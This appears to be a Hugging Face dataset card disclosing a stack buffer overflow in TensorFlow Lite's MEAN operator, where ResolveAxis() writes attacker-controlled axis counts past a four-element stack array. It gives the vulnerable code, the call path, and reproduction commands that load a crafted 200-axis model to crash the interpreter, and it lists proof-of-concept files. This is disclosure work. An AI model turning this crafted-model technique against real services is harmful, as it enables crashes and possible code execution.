You need to agree to share your contact information to access this dataset

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this dataset content.

YAML Metadata Warning: empty or missing yaml metadata in repo card (https://huggingface.co/docs/hub/datasets-cards)

TFLite MEAN Operator Stack Buffer Overflow via ResolveAxis()

Vulnerability

The TFLite MEAN operator's ResolveAxis() function at reduce.cc:425 copies axis tensor elements from the model file into a fixed-size MeanParams.axis[4] array (4 elements, 8 bytes) on the stack without checking bounds. A crafted model with more than 4 axis elements causes a stack buffer overflow with attacker-controlled write size.

CWE-121: Stack-based Buffer Overflow

Impact

  • ASAN build: Crashes at the first out-of-bounds write (detected by ASAN shadow memory)
  • Production build (Python tensorflow 2.20.0): Crashes with SIGSEGV or SIGFPE depending on overflow depth
  • The overflow size is fully controlled by the attacker (axis tensor element count in the model file)
  • With 200 axis elements: 392 bytes of int16 values overwrite adjacent stack variables, saved frame pointer, and return address area

Reproduction

pip install tensorflow-cpu  # or tensorflow
python3 poc_generator.py 200
python3 -c "
import tensorflow as tf
interp = tf.lite.Interpreter(model_path='/tmp/mean_rce_axis200.tflite')
interp.allocate_tensors()
interp.invoke()  # crashes with SIGSEGV or SIGFPE
"

Or run ./reproduce.sh.

Files

  • poc_generator.py β€” Generates crafted TFLite model with MEAN op and large axis tensor
  • poc_axis200.tflite β€” Pre-generated PoC model (200 axis elements, 1360 bytes)
  • reproduce.sh β€” Self-contained reproduction script
  • asan_output.txt β€” Full ASAN crash trace

Root Cause

In tensorflow/lite/kernels/reduce.cc:420-427:

void ResolveAxis(const int* axis_data, int axis_count,
                 tflite::MeanParams* op_params) {
  int i = 0;
  for (; i < axis_count; ++i) {
    op_params->axis[i] = static_cast<int16>(axis_data[i]);  // No bounds check!
  }
  // ...
}

MeanParams.axis is declared in types.h as int16_t axis[4] (only 4 elements). axis_count comes from NumElements(op_context.axis) which reads the axis tensor shape from the model file β€” fully attacker-controlled with no validation against the array size.

Trigger Path

Model.Invoke()
  β†’ Subgraph::InvokeImpl()
    β†’ reduce::EvalMean<kGenericOptimized>()  [reduce.cc:551]
      β†’ case kTfLiteUInt8:  [reduce.cc:611]
        β†’ ResolveAxis(axis_data, num_axis, &op_params)  [reduce.cc:613]
          β†’ op_params.axis[i] = ... for i=0..199  ← OVERFLOW at i=4

Requires UINT8 input tensor to reach the vulnerable code path.

Downloads last month
7